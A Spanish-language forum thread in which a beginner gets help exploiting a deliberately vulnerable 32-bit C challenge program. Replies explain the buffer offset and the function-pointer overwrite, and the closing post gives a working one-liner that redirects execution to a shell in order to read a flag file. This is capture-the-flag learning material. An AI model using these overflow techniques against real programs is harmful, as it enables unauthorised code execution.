Underc0de

Foros Generales => Dudas y pedidos generales => Mensaje iniciado por: br4v0s en Agosto 07, 2016, 09:00:23 AM

Título: Duda reto seguridad
Publicado por: br4v0s en Agosto 07, 2016, 09:00:23 AM
Buenas. Estoy iniciandome en esto y aun ando bastante perdido.
El codigo fuente a analizar es este:
/*
gcc -m32 -fno-stack-protector -o ch15 ch15.c
*/

#include <stdio.h>
#include <stdlib.h>

void shell() {
    system("/bin/dash");
}

void sup() {
    printf("Hey dude ! Waaaaazzaaaaaaaa ?!\n");
}

main()
{
    int var;
    void (*func)()=sup;
    char buf[128];
    fgets(buf,133,stdin);
    func();
}



Hasta ahora he obtenido que se produce segmentation fault al introducir una cadena de longitud 133 .
Analizando un poco con gdb , al consultar el contenido de memoria en ESP, veo que los "A" que se escriben lo hacen a partir de la direccion 0xbffffb1c. La pregunta es ¿sabiendo ya esto, puedo explotar la aplicacion?

lo que he obtenido es lo siguiente:
(http://fotos.subefotos.com/0e4e62fcc595853617f16dea027cfbf8o.png)
Título: Re:Duda reto seguridad
Publicado por: MagoAstral en Agosto 07, 2016, 10:51:56 AM
Hola amigo, bueno en este caso la explotación es trivial. Como podrás apreciar en el código fuente observamos una función llamada shell(), la cual te permite obtener la tan ansiada shell mediante el uso de la función system con el parámetro adecuado. Tu has echo ya más de lo que necesitas, has encontrado la dirección del buffer donde cargas tu fruta, al obtener esa dirección únicamente podrías colocar una shellcode y redirigir el flujo del programa a dicha shellcode de modo que sabiendo la dirección de inicio sería fácil, aunque en esta ocasión no es tan fácil porque está compilado con NX activado lo cual no permite escribir en la memora (stack/heap) nuestro shellcode, aun así sería bypasseable mediante rop o ret2libc.
Sin complicarte mucho la vida, ya que sabes el offset (desplazamiento exacto hasta pisar el ret/eip), solo debes redirigir el flujo a dicha función, para obtener la dirección de la función basta con ejecutar "print shell" o "p shell" en GDB (depurador que estás usando) y el payload sería (recuerda el formato little endian en la dirección):

from struct import pack
payload = "A"*133
payload += pack("<L", 0xdirección_de_shell)

Espero que te haya servido, un saludo amigo!
Título: Re:Duda reto seguridad
Publicado por: grep en Agosto 07, 2016, 12:57:53 PM
Solo comento a modo de referencia porque ya tienes la respuesta,

esta es una aplicación explotable con el ataque llamado stack buffer overflow (o stack smashing).

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Hasta ahora he obtenido que se produce segmentation fault al introducir una cadena de longitud 133.

El segmentation fault se produce porque en el código de la función main() al intentar ejecutar func(), donde func es una variable puntero a función que retorna void, lo hace de la siguiente forma:

Código (asm) [Seleccionar]

mov eax, DWORD PTR [esp+0x9c]
call eax


en el offset/desplazamiento esp+0x9c se tiene el valor 0x41414141 (una dirección de una arquitectura de 32bits) que es una dirección de memoria fuera del segmento de código. Esto es porque el valor contenido en esp+0x9c, que anteriormente era 0x08048478, ha sido sebreescrito con el código hexadecimal de A (que es 0x41).

Para poder obtener la shell, que es el código de la función shell(), debes ingresar 128 A's (o lo que sea) más la dirección de memoria de esa función en LSB byte order (0x08048464 en little endian byte ordering es 0x64840408) ya que de esta forma se sobreescribe el valor de la variable func, que era la dirección de memoria de sup() (que es 0x08048478) con la dirección de memoria de shell().


Para agregar,

¿Por qué 128 A's?:
Si se observa el código assembly de main, vemos que la variable func se encuentra en el offset ESP + 0x9C, mientras que buf (la variable a la que se ingresan los caracteres) se encuetra en el offset ESP + 0x1C. Entonces: ESP + 0x9C - ESP + 0x1C = 156 - 28 = 128.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
... has encontrado la dirección del buffer donde cargas tu fruta, al obtener esa dirección únicamente podrías colocar una shellcode y redirigir el flujo del programa a dicha shellcode de modo que sabiendo la dirección de inicio sería fácil, aunque en esta ocasión no es tan fácil porque está compilado con NX activado lo cual no permite escribir en la memora (stack/heap) nuestro shellcode, aun así sería bypasseable mediante rop o ret2libc.

El bit NX es una característica del MMU (Memory Management Unit) del CPU de la cual se vale el kernel de Linux para habilitar o deshabilitar la ejecución de código en ciertas páginas de memoria. De esta forma se proteje la ejecución de código en el stack.


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

from struct import pack
payload = "A"*133
payload += pack("<L", 0xdirección_de_shell)


Esto es una porción de código en python para insertar el payload como entrada al programa explotable.


Saludos
Título: Re:Duda reto seguridad
Publicado por: br4v0s en Agosto 07, 2016, 02:25:46 PM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Solo comento a modo de referencia porque ya tienes la respuesta,

esta es una aplicación explotable con el ataque llamado stack buffer overflow (o stack smashing).

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Hasta ahora he obtenido que se produce segmentation fault al introducir una cadena de longitud 133.

El segmentation fault se produce porque en el código de la función main() al intentar ejecutar func(), donde func es una variable puntero a función que retorna void, lo hace de la siguiente forma:

Código (asm) [Seleccionar]

mov eax, DWORD PTR [esp+0x9c]
call eax


en el offset/desplazamiento esp+0x9c se tiene el valor 0x41414141 (una dirección de una arquitectura de 32bits) que es una dirección de memoria fuera del segmento de código. Esto es porque el valor contenido en esp+0x9c, que anteriormente era 0x08048478, ha sido sebreescrito con el código hexadecimal de A (que es 0x41).

Para poder obtener la shell, que es el código de la función shell(), debes ingresar 128 A's (o lo que sea) más la dirección de memoria de esa función en LSB byte order (0x08048464 en little endian byte ordering es 0x64840408) ya que de esta forma se sobreescribe el valor de la variable func, que era la dirección de memoria de sup() (que es 0x08048478) con la dirección de memoria de shell().


Para agregar,

¿Por qué 128 A's?:
Si se observa el código assembly de main, vemos que la variable func se encuentra en el offset ESP + 0x9C, mientras que buf (la variable a la que se ingresan los caracteres) se encuetra en el offset ESP + 0x1C. Entonces: ESP + 0x9C - ESP + 0x1C = 156 - 28 = 128.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
... has encontrado la dirección del buffer donde cargas tu fruta, al obtener esa dirección únicamente podrías colocar una shellcode y redirigir el flujo del programa a dicha shellcode de modo que sabiendo la dirección de inicio sería fácil, aunque en esta ocasión no es tan fácil porque está compilado con NX activado lo cual no permite escribir en la memora (stack/heap) nuestro shellcode, aun así sería bypasseable mediante rop o ret2libc.

El bit NX es una característica del MMU (Memory Management Unit) del CPU de la cual se vale el kernel de Linux para habilitar o deshabilitar la ejecución de código en ciertas páginas de memoria. De esta forma se proteje la ejecución de código en el stack.


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

from struct import pack
payload = "A"*133
payload += pack("<L", 0xdirección_de_shell)


Esto es una porción de código en python para insertar el payload como entrada al programa explotable.


Saludos


Muchas gracias a los dos. Mi error era que no habia tenido en cuenta ese offset entre el buffer y la llamada a la funcion, para añadir las 128 "A".
El ultimo detalle ha sido que he tenido que ejecutar
cat <(python -c 'print "A"*128 +"\x64\x84\x04\x08"') - |./ch15
ya que stdin encuentra un EOF. Y necesitaba mantener la sesion para ver un archivo oculto .passwd que contenia el flag para pasar el reto.
He aprendido mucho con vuestras explicaciones.
Seguire aportando mas retos y dudas, ya que cada vez vienen mas dificiles jaja.